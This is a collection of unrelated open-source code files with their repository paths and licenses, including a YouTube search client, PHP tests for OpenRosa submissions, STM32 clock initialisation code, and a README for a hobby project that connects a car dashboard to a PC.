self.indicator_list: screen.blit(indicator.image, indicator.rect) return self.update_rect def UpdateWholeTray(self, screen): '''Update the whole IndicatorTray and its Indicators.''' self.UpdateIndicatorPositions() for indicator in self.indicator_list: indicator.RunFrameCode() self.RemoveClosedIndicators() self.RedrawBackground(screen) def AddIndicator(self, indicator_name): '''Adds the given Indicator based on the provided name. Returns a reference to the Indicator added.''' indicator = Indicator(len(self.indicator_list), indicator_name, self.wm) self.indicator_list.append(indicator) return indicator def RemoveClosedIndicators(self): '''Removes any Indicators which indicate that they are closed.''' for indicator in self.indicator_list: if indicator.closed == True: self.indicator_list.remove(indicator) # Maintain indicator order new_number = 0 for indicator in self.indicator_list: indicator.number = new_number def HandleMouseButtonDownEvent(self, mouse_event, mouse_button): '''Pass MOUSEDOWN events to the Indicators this holds.''' for indicator in self.indicator_list: indicator.HandleMouseButtonDownEvent(mouse_event, mouse_button)
gpl-3.0
pgillet/Glue
glue-feed/src/main/java/com/glue/feed/youtube/YoutubeRequester.java
6629
package com.glue.feed.youtube; import java.io.IOException; import java.io.InputStream; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Calendar; import java.util.List; import java.util.Properties; import java.util.TimeZone; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.glue.domain.Event; import com.glue.domain.Link; import com.glue.domain.LinkType; import com.google.api.client.http.HttpRequest; import com.google.api.client.http.HttpRequestInitializer; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.client.json.jackson2.JacksonFactory; import com.google.api.services.youtube.YouTube; import com.google.api.services.youtube.model.SearchListResponse; import com.google.api.services.youtube.model.SearchResult; import com.google.api.services.youtube.model.Video; import com.google.api.services.youtube.model.VideoListResponse; public class YoutubeRequester { static final Logger LOG = LoggerFactory.getLogger(YoutubeRequester.class); /** Global instance properties filename. */ private static String PROPERTIES_FILENAME = "/com/glue/feed/youtube.properties"; /** Global instance of the HTTP transport. */ private static final HttpTransport HTTP_TRANSPORT = new NetHttpTransport(); /** Global instance of the JSON factory. */ private static final JsonFactory JSON_FACTORY = new JacksonFactory(); /** * Global instance of the max number of videos we want returned (50 = upper * limit per page). */ private static final long NUMBER_OF_VIDEOS_RETURNED = 25; /** Global instance of Youtube object to make all API requests. */ private static YouTube youtube; /** Properties */ private Properties properties; private DateFormat formater = new SimpleDateFormat( "yyyy-MM-dd'T'HH:mm:ss'Z'"); private Calendar calendar = Calendar.getInstance(TimeZone .getTimeZone("UTC")); // Current research private YouTube.Search.List search; // Videos details private YouTube.Videos.List searchForVideos; private YoutubeRequester() { initialize(); } /** Singleton Holder */ private static class YoutubeRequesterHolder { /** Singleton */ private final static YoutubeRequester instance = new YoutubeRequester(); } /** Get Singleton */ public static YoutubeRequester getInstance() { return YoutubeRequesterHolder.instance; } private void initialize() { // youtube.properties properties = new Properties(); try { InputStream in = YoutubeRequester.class .getResourceAsStream(PROPERTIES_FILENAME); properties.load(in); } catch (IOException e) { System.err.println("There was an error reading " + PROPERTIES_FILENAME + ": " + e.getCause() + " : " + e.getMessage()); System.exit(1); } try { /* * The YouTube object is used to make all API requests. The last * argument is required, but because we don't need anything * initialized when the HttpRequest is initialized, we override the * interface and provide a no-op function. */ youtube = new YouTube.Builder(HTTP_TRANSPORT, JSON_FACTORY, new HttpRequestInitializer() { public void initialize(HttpRequest request) throws IOException { } }).setApplicationName("Glue").build(); } catch (Throwable t) { t.printStackTrace(); System.exit(1); } calendar = Calendar.getInstance(TimeZone.getTimeZone("UTC")); } public Event search(Event event) throws IOException { // Create a youtube search list search = youtube.search().list("id,snippet"); String apiKey = properties.getProperty("youtube.apikey"); search.setKey(apiKey); search.set("safeSearch", "moderate"); search.set("videoEmbeddable", "true"); search.setType("video"); search.setFields("items(id/videoId,snippet/title)"); search.setMaxResults(NUMBER_OF_VIDEOS_RETURNED); // Set calendar to enddate calendar.setTime(event.getStopTime()); // Query stream title + stream venue + day + month (january = 0) search.setQ(event.getTitle() + " " + event.getVenue().getName()); // Published after stream end_date search.set("publishedAfter", formater.format(calendar.getTime())); // Published before enddate +30 calendar.add(Calendar.DATE, +30); search.set("publishedBefore", formater.format(calendar.getTime())); // Search SearchListResponse searchResponse = search.execute(); // If videos found if (!searchResponse.getItems().isEmpty()) { // Create a string a videos ids separated by comma List<String> videosIds = new ArrayList<>(); for (SearchResult video : searchResponse.getItems()) { videosIds.add(video.getId().getVideoId()); } String ids = ""; for (String vId : videosIds) { ids += vId + ","; } // Remove last comma ids = ids.substring(0, ids.lastIndexOf(",")); // Search for videos details searchForVideos = youtube.videos().list(ids, "snippet"); searchForVideos.setKey(properties.getProperty("youtube.apikey")); search.setFields("items(snippet/title,snippet/description)"); VideoListResponse videosResponse = searchForVideos.execute(); // for each videos, check similarity and create media for (Video video : videosResponse.getItems()) { if (checkSimilarity(event, video)) { LOG.info(video.getSnippet().getTitle()); Link link = new Link(); link.setType(LinkType.WEBCAST); link.setUrl("http://www.youtube.com/embed/" + video.getId()); event.getLinks().add(link); } } } return event; } // Check similarity between youtube video and stream private boolean checkSimilarity(Event event, Video video) { // Get title and description from video String vTitle = video.getSnippet().getTitle().toLowerCase().trim(); String vDescription = video.getSnippet().getDescription().toLowerCase() .trim(); // Stream title String sTitle = event.getTitle().toLowerCase(); // Stream description, remove "le" "la" String venue = event.getVenue().getName().toLowerCase(); if (venue.startsWith("le ")) { venue = venue.substring(3); } else if (venue.startsWith("la ")) { venue = venue.substring(3); } // Video title must contain stream title boolean filterOne = vTitle.matches(".*\\b" + sTitle + "\\b.*"); // Title or description must contain venue name boolean filterTwo = (vTitle.contains(venue)) || (vDescription.contains(venue)); return filterOne && filterTwo; } }
gpl-3.0
ADEPT-Informatique/LanAdept
LanAdeptData/Model/Users/User.cs
1133
using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNet.Identity.EntityFramework; using System.Security.Claims; using Microsoft.AspNet.Identity; namespace LanAdeptData.Model { public class User : IdentityUser { [Required] [Display(Name = "Nom complet")] public string CompleteName { get; set; } public string Barcode { get; set; } #region Navigation properties public virtual ICollection<Reservation> Reservations { get; set; } public virtual ICollection<Team> Teams { get; set; } public virtual ICollection<Order> Orders { get; set; } #endregion #region Calculated properties public Reservation LastReservation { get { return Reservations.OrderBy(r => r.CreationDate).LastOrDefault(); } } #endregion #region Identity Methods public async Task<ClaimsIdentity> GenerateUserIdentityAsync(UserManager<User> manager) { var userIdentity = await manager.CreateIdentityAsync(this, DefaultAuthenticationTypes.ApplicationCookie); return userIdentity; } #endregion } }
gpl-3.0
qha98/BallisticCalculator
BalisticCalculator/BallisticCalculator/to/oa/qha98/ballisticCalculator/test/VectorDefaultConstructorTest.java
298
package to.oa.qha98.ballisticCalculator.test; import static org.junit.Assert.*; import org.bukkit.util.Vector; import org.junit.Test; public class VectorDefaultConstructorTest { @Test public void test() { Vector v=new Vector(); assertEquals(0d, v.length(), 0.0000001d); } }
gpl-3.0
acidopal/crud_phalcon
public/index.php
740
<?php use Phalcon\Di\FactoryDefault; error_reporting(E_ALL); define('APP_PATH', realpath('..')); try { /** * The FactoryDefault Dependency Injector automatically register the right services providing a full stack framework */ $di = new FactoryDefault(); /** * Read services */ include APP_PATH . "/app/config/services.php"; /** * Call the autoloader service. We don't need to keep the results. */ $di->getLoader(); /** * Handle the request */ $application = new \Phalcon\Mvc\Application($di); echo $application->handle()->getContent(); } catch (\Exception $e) { echo $e->getMessage() . '<br>'; echo '<pre>' . $e->getTraceAsString() . '</pre>'; }
gpl-3.0
evangreen/hardware
audidash/README.md
6462
# Audidash Audidash is a project I started in 2017 to connect the instrument cluster of a 1998 Audi A4 to my PC. The various indicators and gauges correspond to stats of my machine. For instance, the speed gauge correllates to my words per minute of typing, and the RPM gauge corresponds to my mousing rate. The left and right turn arrows blink when I use the left and right control or shift keys, and so on. It's actually the second PC instrument cluster I've created, though the interface turned out to be completely different from the first instrument cluster I wired up since this one has digital elements. I got the instrument cluster on eBay for something like twenty or thirty bucks. This particular make/model has significance to me because it's the car I drove in high school (and still do at the time of this writing). ![AudiDash](AudiDash1.JPG) ![AudiDash Again](AudiDash2.JPG) ![AudiDash Protoboard](AudiDashBoard.JPG) ### Interface The Audi instrument cluster I got interfaces with the rest of the car via two big 32-pin connectors on the back. The signals are mostly digital and want either ground or +12VDC. The speed and RPM gauges measure the duration between +12V pulses, as you might expect. A couple of the gauges (fuel, temp, and oil) are analog. I was able to approximate these signals using PWM and a spare capacitor to smooth things out. ### Board The electronics I'm adding consist of an STM32F103 BluePill board (available on eBay for just a couple of bucks), and an ESP8266 Wifi board to connect to the local network. The STM32 MCU runs at 3.3V, but the instrument cluster needs +12V. I connected the I/O pins to a ULN2003A for active low pins, and other I/O pins to a TD62783 as a high side switch. I'm then using jumpers to connect the board to the instrument cluster. Rather than send off to have boards made (since I only need 1), I decided to solder everything together manually on a protoboard. Many of the chips can line up side by side, so I can just make blobbly solder bridges rather than tediously adding jumpers around. I left the default firmware on the ESP8266 board, and communicate with it via the AT command set the default firmware supports. The firmware I wrote on the STM32 is able to create a wifi network, which you can join to input your real WiFi credentials. The board will save the credentials, then connect to your home WiFi network. Once connected, it points to numbers along the RPM gauge to indicate the IP address it received. Communication between the app and the device is done with simple text-based UDP packets. The connection has no state, the device simply maintains the last state that was sent to it. ### App On the PC side, I cannibalized my last PcDash project as the starting point. The app runs on Windows (only), and installs low level keyboard and mouse hooks to measure mousing rates and WPM. It also monitors network traffic rates, hard disk I/O rates, and CPU usage to fire off indicators if some part of the PC is experiencing heavy use. The app itself is a command line app that runs in the background. It takes the IP address of the AudiDash device on the command line, and sends UDP packets blindly to it to change its state. ### Quirks It turns out the Audi instrument cluster is not a dumb device at all, and requires a fair amount of manipulation to display arbitrary data. The gauges act in a non-linear manner, which is probably consistent with faking an analog signal using PWM and a capacitor. The temperature gauge is manipulated, so there are a large range of PWM values that correspond to the "straight in the middle" temperature reading. There are other weird aspects as well. For instance, the logic of the "oil pressure warning indicator" flips at a certain RPM, indicating I suppose that there should be oil pressure at higher RPMs, and not at lower RPMs. There is a range of RPMs between 1000 and 2000 at which neither polarity of the oil pressure sensor lights up the indicator. I'm surprised that all this logic lives in the instrument cluster itself, I would have expected it to live in a more central computer in the automobile. I was also unable to manipulate the voltage gauge. It seems to directly measure the power supply voltage (shocker), so it just sits at 12V whenver the device is on. I had to clip the speaker built in to the dashboard. I was a little bummed about this as the "door open chime" was kind of cool. Unfortunately whenever any warning indicator comes on (oil, fuel, and others) the speaker makes horrible screeching, which was unacceptable to me as I wanted to use those indicators frequently. I briefly considered trying to open the thing up and tackle manipulating or routing around whatever microcontroller is inside the instrument cluster. This would give me complete unfettered access to all the gauges, indicators, and the speaker. I ultimately decided that would be too much work, it's easier to just manipulate the main inputs and live with a couple of restrictions rather than risk getting buried in microcontroller subversion or not being able to put the cluster back together. ### Results This project went quite well, and now lives on my desk next to my monitor. According to it, I'm currently typing at about 40 MPH, which corresponds to nothing in particular. The speed and RPM gauges are simple frequency counters, but in order to get good control of the analog gauges I had to do a series of empirical measurements. For each gauge, I directly manipulated the timer's PWM value and recorded the results. I then asked Excel to come up with a polynomial best fit, and used that in the app to get arbitrary gauge values. So far that seems to work great. I saved those in app/calibration.xslx. The ESP8266 seems to work pretty well, though it has its quirks. The app sends out the left and right turn indicator commands twice a second to emulate a real turn signal. After a cold start, the ESP8266 seems to have trouble keeping up with that rate for the first few minutes. I also suspect the ESP8266 also sometimes interferes with other wireless devices on the network, but haven't done enough testing to confirm this. I decided not to glue the jumpers between the instrument cluster and the board down, as the board is rarely jostled and friction seems to do a fine job. If they did get disconnected, it would be a pain to figure out where they go again, so I'll have to be careful when moving the thing.
gpl-3.0
tumi8/sKnock
server/version.py
1225
# Copyright (C) 2015-2016 Daniel Sel # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # __all__ = [ "__author__", "__copyright__", "__email__", "__license__", "__summary__", "__title__", "__uri__", "__version__", ] __version__ = "0.0.1" __title__ = "KNOCK Server" __uri__ = "https://github.com/DanielSel/knock" __summary__ = "Transparent server service for the secure authenticated scalable port-knocking implementation \"KNOCK\"" __author__ = "Daniel Sel" __license__ = "GNU General Public License" __copyright__ = "Copyright 2015-2016 {0}".format(__author__)
gpl-3.0
swiftmade/ssas-core
tests/Feature/OpenRosaTest.php
4413
<?php namespace Tests\Feature; use stdClass; use Tests\TestCase; use App\Models\Submission; use App\Events\SubmissionCreated; use App\Events\SubmissionUpdated; use Illuminate\Http\UploadedFile; use Illuminate\Support\Facades\Event; use App\Core\Connect\ConnectorsRepository; use App\Core\Connect\Connectors\SubmissionsConnector; class OpenRosaTest extends TestCase { public function setUp() { parent::setUp(); // Truncate collections $this->truncateCollections([ 'photos', 'connects', 'submissions', 'settings', ]); // Create test binding $this->insertTestConnects(); } public function testSubmissionsAreStored() { Event::fake(); $meta = $this->openRosaMeta(); $response = $this->makeOpenRosaCall($meta); $this->assertEquals(201, $response->status()); Event::assertDispatched(SubmissionCreated::class); $submission = Submission::where('form_id', 'aSVuyzAa5EXGoKdZLRvDds') ->where('instance_id', $meta->instanceId) ->first(); $this->assertNotNull($submission); $this->assertEquals(1, $submission->photos()->count()); $photo = $submission->photos()->first(); $this->assertNotEmpty($photo->url()); $this->assertNotNull($submission->geolocation); } public function testSubmissionsAreUpdated() { Event::fake(); Submission::create([ 'form_id' => 'aSVuyzAa5EXGoKdZLRvDds', 'instance_id' => 'instance1', 'deprecated_id' => null ]); $meta = $this->openRosaMeta('instance1', false); $request = $this->makeOpenRosaCall($meta); $this->assertEquals(201, $request->status()); Event::assertDispatched(SubmissionUpdated::class); $previousInstance = Submission::where('instance_id', 'instance1')->exists(); $updatedInstance = Submission::where('instance_id', $meta->instanceId)->exists(); $this->assertFalse($previousInstance); $this->assertTrue($updatedInstance); } /** * @test */ public function it_disallows_unauthenticated_submissions() { resolve('settings')->updateSettings([ 'requires_authentication' => true ]); $meta = $this->openRosaMeta('instance1', false); $request = $this->makeOpenRosaCall($meta); $this->assertEquals(401, $request->status()); } protected function makeOpenRosaCall($meta) { return $this->call( 'POST', '/openrosa/submissions', $meta->body, [], // cookies $meta->files, $meta->headers ); } protected function getXmlFile() { $temp = tempnam(sys_get_temp_dir(), 'test'); copy(base_path('tests/fixtures/instance.xml'), $temp); return new UploadedFile($temp, $temp, 'text/xml', filesize($temp), null, true); } protected function getFakeImage() { return UploadedFile::fake()->image('file.png', 600, 600); } protected function openRosaMeta($updatedInstanceId = null, $attachment = true) { $meta = new stdClass(); $meta->instanceId = uniqid(); $meta->headers = [ 'HTTP_X-OpenRosa-Version' => '1.0', 'HTTP_X-OpenRosa-Instance-Id' => $meta->instanceId ]; $meta->body = [ 'Date' => date('r') ]; $meta->files = [ 'xml_submission_file' => $this->getXmlFile(), ]; if (!is_null($updatedInstanceId)) { $meta->headers['HTTP_X-OpenRosa-Deprecated-Id'] = $updatedInstanceId; } if ($attachment !== false) { $meta->files['test_jpg'] = $this->getFakeImage(); } return $meta; } protected function insertTestConnects() { $repository = app()->make(ConnectorsRepository::class); $connector = app()->make(SubmissionsConnector::class); $connector->fromArray([ 'links' => [ 'coordinates' => [ 'type' => 'code', 'value' => 'return {lat: data.get(\'LG2.GPS\', "").split(" ")[0], lng: data.get(\'LG2.GPS\', "").split(" ")[1]}' ] ], ]); $repository->save($connector); } }
gpl-3.0
chris-penny/cleanflight
lib/main/CMSIS/CM3/DeviceSupport/ST/STM32F10x/system_stm32f10x.c
6130
#include <stdbool.h> #include "stm32f10x.h" #define SYSCLK_FREQ_72MHz 72000000 uint32_t SystemCoreClock = SYSCLK_FREQ_72MHz; /*!< System Clock Frequency (Core Clock) */ __I uint8_t AHBPrescTable[16] = { 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9 }; uint32_t hse_value = 8000000; void SystemInit(void) { /* Reset the RCC clock configuration to the default reset state(for debug purpose) */ /* Set HSION bit */ RCC->CR |= (uint32_t) 0x00000001; /* Reset SW, HPRE, PPRE1, PPRE2, ADCPRE and MCO bits */ RCC->CFGR &= (uint32_t) 0xF8FF0000; /* Reset HSEON, CSSON and PLLON bits */ RCC->CR &= (uint32_t) 0xFEF6FFFF; /* Reset HSEBYP bit */ RCC->CR &= (uint32_t) 0xFFFBFFFF; /* Reset PLLSRC, PLLXTPRE, PLLMUL and USBPRE/OTGFSPRE bits */ RCC->CFGR &= (uint32_t) 0xFF80FFFF; /* Disable all interrupts and clear pending bits */ RCC->CIR = 0x009F0000; SCB->VTOR = FLASH_BASE; /* Vector Table Relocation in Internal FLASH. */ } void SystemCoreClockUpdate(void) { uint32_t tmp = 0, pllmull = 0, pllsource = 0; /* Get SYSCLK source ------------------------------------------------------- */ tmp = RCC->CFGR & RCC_CFGR_SWS; switch (tmp) { case 0x00: /* HSI used as system clock */ SystemCoreClock = HSI_VALUE; break; case 0x04: /* HSE used as system clock */ SystemCoreClock = hse_value; break; case 0x08: /* PLL used as system clock */ /* Get PLL clock source and multiplication factor ---------------------- */ pllmull = RCC->CFGR & RCC_CFGR_PLLMULL; pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; pllmull = (pllmull >> 18) + 2; if (pllsource == 0x00) { /* HSI oscillator clock divided by 2 selected as PLL clock entry */ SystemCoreClock = (HSI_VALUE >> 1) * pllmull; } else { /* HSE selected as PLL clock entry */ if ((RCC->CFGR & RCC_CFGR_PLLXTPRE) != (uint32_t) RESET) { /* HSE oscillator clock divided by 2 */ SystemCoreClock = (hse_value >> 1) * pllmull; } else { SystemCoreClock = hse_value * pllmull; } } break; default: SystemCoreClock = HSI_VALUE; break; } /* Compute HCLK clock frequency ---------------- */ /* Get HCLK prescaler */ tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; /* HCLK clock frequency */ SystemCoreClock >>= tmp; } enum { SRC_NONE = 0, SRC_HSI, SRC_HSE }; // Set system clock to 72 (HSE) or 64 (HSI) MHz void SetSysClock(bool overclock) { __IO uint32_t StartUpCounter = 0, status = 0, clocksrc = SRC_NONE; __IO uint32_t *RCC_CRH = &GPIOC->CRH; __IO uint32_t RCC_CFGR_PLLMUL = RCC_CFGR_PLLMULL9; // First, try running off HSE RCC->CR |= ((uint32_t)RCC_CR_HSEON); RCC->APB2ENR |= RCC_CFGR_HPRE_0; // Wait till HSE is ready do { status = RCC->CR & RCC_CR_HSERDY; StartUpCounter++; } while ((status == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); if ((RCC->CR & RCC_CR_HSERDY) != RESET) { // external xtal started up, we're good to go clocksrc = SRC_HSE; } else { // If HSE fails to start-up, try to enable HSI and configure for 64MHz operation RCC->CR |= ((uint32_t)RCC_CR_HSION); StartUpCounter = 0; do { status = RCC->CR & RCC_CR_HSIRDY; StartUpCounter++; } while ((status == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); if ((RCC->CR & RCC_CR_HSIRDY) != RESET) { // we're on internal RC clocksrc = SRC_HSI; } else { while(1); // Unable to continue. } } // Enable Prefetch Buffer FLASH->ACR |= FLASH_ACR_PRFTBE; // Flash 2 wait state FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_2; // HCLK = SYSCLK RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; // PCLK2 = HCLK RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; // PCLK1 = HCLK RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; *RCC_CRH &= (uint32_t)~((uint32_t)0xF << (RCC_CFGR_PLLMULL9 >> 16)); // Configure PLL hse_value = 8000000; RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); *RCC_CRH |= (uint32_t)0x8 << (RCC_CFGR_PLLMULL9 >> 16); GPIOC->ODR &= (uint32_t)~(CAN_MCR_RESET); #if defined(CJMCU) // On CJMCU new revision boards (Late 2014) bit 15 of GPIOC->IDR is '1'. RCC_CFGR_PLLMUL = RCC_CFGR_PLLMULL9; #else RCC_CFGR_PLLMUL = GPIOC->IDR & CAN_MCR_RESET ? hse_value = 12000000, RCC_CFGR_PLLMULL6 : RCC_CFGR_PLLMULL9; #endif switch (clocksrc) { case SRC_HSE: if (overclock) { if (RCC_CFGR_PLLMUL == RCC_CFGR_PLLMULL6) RCC_CFGR_PLLMUL = RCC_CFGR_PLLMULL7; else if (RCC_CFGR_PLLMUL == RCC_CFGR_PLLMULL9) RCC_CFGR_PLLMUL = RCC_CFGR_PLLMULL10; } // overclock=false : PLL configuration: PLLCLK = HSE * 9 = 72 MHz || HSE * 6 = 72 MHz // overclock=true : PLL configuration: PLLCLK = HSE * 10 = 80 MHz || HSE * 7 = 84 MHz RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE | RCC_CFGR_PLLMUL); break; case SRC_HSI: // PLL configuration: PLLCLK = HSI / 2 * 16 = 64 MHz RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSI_Div2 | RCC_CFGR_PLLMULL16); break; } // Enable PLL RCC->CR |= RCC_CR_PLLON; // Wait till PLL is ready while ((RCC->CR & RCC_CR_PLLRDY) == 0); // Select PLL as system clock source RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; // Wait till PLL is used as system clock source while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08); SystemCoreClockUpdate(); }
gpl-3.0
majestic53/nomic-alpha
src/uuid/manager_type.h
2282
/** * Nomic * Copyright (C) 2017 David Jolly * * Nomic is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Nomic is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef NOMIC_UUID_MANAGER_TYPE_H_ #define NOMIC_UUID_MANAGER_TYPE_H_ #include "../../include/exception.h" namespace nomic { namespace uuid { #define NOMIC_UUID_MANAGER_HEADER "[NOMIC::UUID::MANAGER]" #ifndef NDEBUG #define NOMIC_UUID_MANAGER_EXCEPTION_HEADER NOMIC_UUID_MANAGER_HEADER " " #else #define NOMIC_UUID_MANAGER_EXCEPTION_HEADER #endif // NDEBUG enum { NOMIC_UUID_MANAGER_EXCEPTION_DUPLICATE = 0, NOMIC_UUID_MANAGER_EXCEPTION_FULL, NOMIC_UUID_MANAGER_EXCEPTION_INVALID, NOMIC_UUID_MANAGER_EXCEPTION_NOT_FOUND, NOMIC_UUID_MANAGER_EXCEPTION_UNINITIALIZED, }; #define NOMIC_UUID_MANAGER_EXCEPTION_MAX NOMIC_UUID_MANAGER_EXCEPTION_UNINITIALIZED static const std::string NOMIC_UUID_MANAGER_EXCEPTION_STR[] = { NOMIC_UUID_MANAGER_EXCEPTION_HEADER "Duplicate uuid", NOMIC_UUID_MANAGER_EXCEPTION_HEADER "No uuid available", NOMIC_UUID_MANAGER_EXCEPTION_HEADER "Invalid uuid", NOMIC_UUID_MANAGER_EXCEPTION_HEADER "Uuid does not exist", NOMIC_UUID_MANAGER_EXCEPTION_HEADER "Uuid manager is uninitialized", }; #define NOMIC_UUID_MANAGER_EXCEPTION_STRING(_TYPE_) \ (((_TYPE_) > NOMIC_UUID_MANAGER_EXCEPTION_MAX) ? EXCEPTION_UNKNOWN : \ STRING_CHECK(NOMIC_UUID_MANAGER_EXCEPTION_STR[_TYPE_])) #define THROW_NOMIC_UUID_MANAGER_EXCEPTION(_EXCEPT_) \ THROW_NOMIC_UUID_MANAGER_EXCEPTION_FORMAT(_EXCEPT_, "", "") #define THROW_NOMIC_UUID_MANAGER_EXCEPTION_FORMAT(_EXCEPT_, _FORMAT_, ...) \ THROW_EXCEPTION_FORMAT(NOMIC_UUID_MANAGER_EXCEPTION_STRING(_EXCEPT_), _FORMAT_, __VA_ARGS__) } } #endif // NOMIC_UUID_MANAGER_TYPE_H_
gpl-3.0
yukao/Porphyrograph
LYM-sources/SourcesBerfore18/Porphyrograph-geneMuse-src/pg-draw.cpp
147112
//////////////////////////////////////////////////////////////////// // // // Part of this source file is taken from Virtual Choreographer // http://virchor.sourceforge.net/ // // File pg-draw.cpp // // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public License // as published by the Free Software Foundation; either version 2.1 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this program; if not, write to the Free // Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA // 02111-1307, USA. //////////////////////////////////////////////////////////////////// #include "pg-all_include.h" int user_id; #define NB_ATTACHMENTS 3 extern char currentFilename[512]; ///////////////////////////////////////////////////////////////// // config variables float mouse_x; float mouse_y; float mouse_x_prev; float mouse_y_prev; float mouse_x_deviation; float mouse_y_deviation; // PG_NB_TRACKS tacks + external tablet float tracks_x[PG_NB_TRACKS + 1]; float tracks_y[PG_NB_TRACKS + 1]; float tracks_x_prev[PG_NB_TRACKS + 1]; float tracks_y_prev[PG_NB_TRACKS + 1]; // PG_NB_TRACKS tacks float tracks_Color_r[PG_NB_TRACKS]; float tracks_Color_g[PG_NB_TRACKS]; float tracks_Color_b[PG_NB_TRACKS]; float tracks_Color_a[PG_NB_TRACKS]; int tracks_BrushID[PG_NB_TRACKS]; // PG_NB_TRACKS tacks + external tablet float tracks_RadiusX[PG_NB_TRACKS + 1]; float tracks_RadiusY[PG_NB_TRACKS + 1]; ///////////////////////////////////////////////////////////////// // Projection and view matrices for the shader GLfloat projMatrix[16]; GLfloat doubleProjMatrix[16]; GLfloat viewMatrix[16]; GLfloat modelMatrix[16]; GLfloat modelMatrixSensor[16]; ///////////////////////////////////////////////////////////////// // textures bitmaps and associated IDs GLuint pg_screenMessageBitmap_ID = NULL_ID; // nb_attachments=1 GLubyte *pg_screenMessageBitmap = NULL; GLuint pg_tracks_Pos_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_Pos_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_tracks_Col_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_Col_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_tracks_RadBrushRendmode_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_RadBrushRendmode_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_tracks_Pos_target_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_Pos_target_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_tracks_Col_target_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_Col_target_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_tracks_RadBrushRendmode_target_Texture_ID[PG_NB_TRACKS] = { NULL_ID , NULL_ID , NULL_ID }; GLfloat *pg_tracks_RadBrushRendmode_target_Texture[PG_NB_TRACKS] = { NULL , NULL , NULL }; GLuint pg_CA_data_table_ID = NULL_ID; GLubyte *pg_CA_data_table = NULL; GLuint Font_texture_Rectangle = NULL_ID; cv::Mat Font_image; GLuint Pen_texture_2D = NULL_ID; cv::Mat Pen_image; GLuint Sensor_texture_rectangle = NULL_ID; cv::Mat Sensor_image; GLuint LYMlogo_texture_rectangle = NULL_ID; cv::Mat LYMlogo_image; GLuint trackBrush_texture_2D = NULL_ID; cv::Mat trackBrush_image; // GLuint trackNoise_texture_Rectangle = NULL_ID; // cv::Mat trackNoise_image; GLuint Particle_acceleration_texture_3D = NULL_ID; const char *TextureEncodingString[EmptyTextureEncoding + 1] = { "jpeg" , "png" , "pnga" , "png_gray" , "pnga_gray" , "rgb", "raw" , "emptyimagetype" }; //////////////////////////////////////// // geometry: quads int nbFaces = 2; // 6 squares made of 2 triangles unsigned int quadDraw_vao = 0; unsigned int quadFinal_vao = 0; unsigned int quadSensor_vao = 0; // quad for first and second pass (drawing and compositing) float quadDraw_points[] = { 0.0f, 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f }; float quadDraw_texCoords[] = { 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f }; // quad for third pass (display - possibly double screen) float quadFinal_points[] = { 